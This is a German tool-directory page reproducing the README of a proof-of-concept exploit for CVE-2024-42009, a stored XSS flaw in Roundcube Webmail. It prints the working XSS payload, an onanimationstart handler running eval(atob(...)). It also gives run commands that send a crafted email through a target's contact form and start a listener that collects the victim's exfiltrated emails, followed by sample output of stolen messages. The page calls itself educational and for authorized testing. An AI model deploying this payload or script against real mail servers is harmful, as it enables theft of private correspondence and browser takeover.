Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-42009-PoC — CVE-2024-42009 Proof-of-Concept | Kitploit
Tools/GitHubGitHub/danithehack3r/cve-2024-42009-poc
Phishing-ToolsExploitationWebanwendungs-ExploitationDatenexfiltrationLernen & BildungE-Mail-Sicherheit
GitHubdanithehack3r/cve-2024-42009-poc

CVE-2024-42009-PoC

CVE-2024-42009 Proof-of-Concept

Repository anzeigen
7148vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-42009 PoC: E-Mail-Erfassungs-Listener und XSS-Exploit in Roundcube Webmail

Übersicht

Dieses Repository enthält einen Proof-of-Concept (PoC)-Exploit für CVE-2024-42009, eine gespeicherte Cross-Site-Scripting (XSS)-Schwachstelle in Roundcube Webmail Version 1.6.7 und mehreren anderen Versionen. Der Exploit zeigt, wie ein Angreifer bösartiges JavaScript in eine Nachricht einschleusen und ein Problem mit der Desanitisierung beim Parsen des HTML-Codes innerhalb der Nachricht ausnutzen kann. Dies kann dann verwendet werden, um in diesem Beispiel E-Mail-Inhalte aus dem Posteingang des Opfers zu exfiltrieren oder sogar den Browser des Opfers zu übernehmen.

Details zur Schwachstelle

CVE-Beschreibung

Eine Cross-Site-Scripting-Schwachstelle in Roundcube bis Version 1.5.7 und 1.6.x bis 1.6.7 erlaubt es einem entfernten Angreifer, E-Mails eines Opfers zu stehlen und zu versenden, indem er eine manipulierte E-Mail-Nachricht verwendet, die ein Desanitisierungsproblem in message_body() in program/actions/mail/show.php ausnutzt.

Erklärung des XSS-Payloads (für dieses Beispiel)

Der Exploit verwendet einen CSS-Animationstrigger für die XSS-Ausführung:

root@kitploit:~
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('BASE64_PAYLOAD')) foo=bar>

Der Body wird als div geparst, und wir müssen uns daran anpassen. Deshalb verwenden wir das onanimationstart-Attribut, um die eval-Funktion aufzurufen und komplexe JavaScript-Aufrufe daraus auszuführen. Für weitere Informationen zur Funktionsweise des Exploits und zu den Schwachstellen in Roundcube lesen Sie diesen Artikel.

Umfang

  • Dieser Exploit wurde nur mit Roundcube Webmail Version 1.6.7 getestet
  • Das Opfer muss die Nachricht öffnen, um ihren Inhalt zu sehen
  • Kann fehlschlagen, wenn die Content Security Policy (CSP) ordnungsgemäß konfiguriert ist

Verwendung

Abhängigkeiten

Installieren Sie die erforderlichen Python-Pakete:

root@kitploit:~
python3 -m venv venv
python3 -m pip install -r requirements

Befehlszeilenargumente

root@kitploit:~
python3 exploit.py -u <TARGET_URL> -r <RECIPIENT_EMAIL> -l <LISTENER_HOST> -p <LISTENER_PORT>
  • Ziel-URL: In diesem Fall verwenden wir den Kontaktformular-Endpunkt, der Nachrichten verarbeitet und weiterleitet (z. B. http://email.company.local/contact)
  • Empfänger-E-Mail: Gültige E-Mail-Adresse, die die bösartige Nachricht erhält
  • Listener-Host: IP-Adresse Ihrer Maschine, die vom Ziel aus erreichbar ist
  • Listener-Port: Verfügbarer Port für den HTTP-Server (z. B. 4444)

Beispielverwendung

root@kitploit:~
python3 exploit.py -u http://webmail.target.com/contact -r [email protected] -l 192.168.1.100 -p 4444

Erwartete Ausgabe

root@kitploit:~
[*] Crafting payload for http://webmail.target.com/contact with recipient [email protected]
[*] Sending payload to http://webmail.target.com/contact with recipient [email protected]  
[*] Starting HTTP server on port 4444
[+] HTTP server listening on port 4444
[*] Waiting for emails... (Press Ctrl+C to stop manually)
[+] Received 3 emails!

------------------------------------------------------------
📧 EMAIL UID: 1  
------------------------------------------------------------
From: [email protected]
Subject: Quarterly Report
Message:
Please find attached the quarterly financial report...
------------------------------------------------------------

[+] Email exfiltration complete! Shutting down server...
[+] Server stopped successfully!

Referenzen

Schwachstellenforschung

  • SonarSource Blog: Regierungs-E-Mails in Gefahr – Kritische Cross-Site-Scripting-Schwachstelle in Roundcube Webmail
  • SonarSource Demonstrationsvideo

Rechtlicher Haftungsausschluss

⚠️ WICHTIG: Dieser Proof-of-Concept wird nur zu Schulungs- und autorisierten Testzwecken bereitgestellt. Verwenden Sie ihn verantwortungsvoll und dieses Konto ist nicht verantwortlich für Schäden, die von anderen verursacht werden.

Tool herunterladen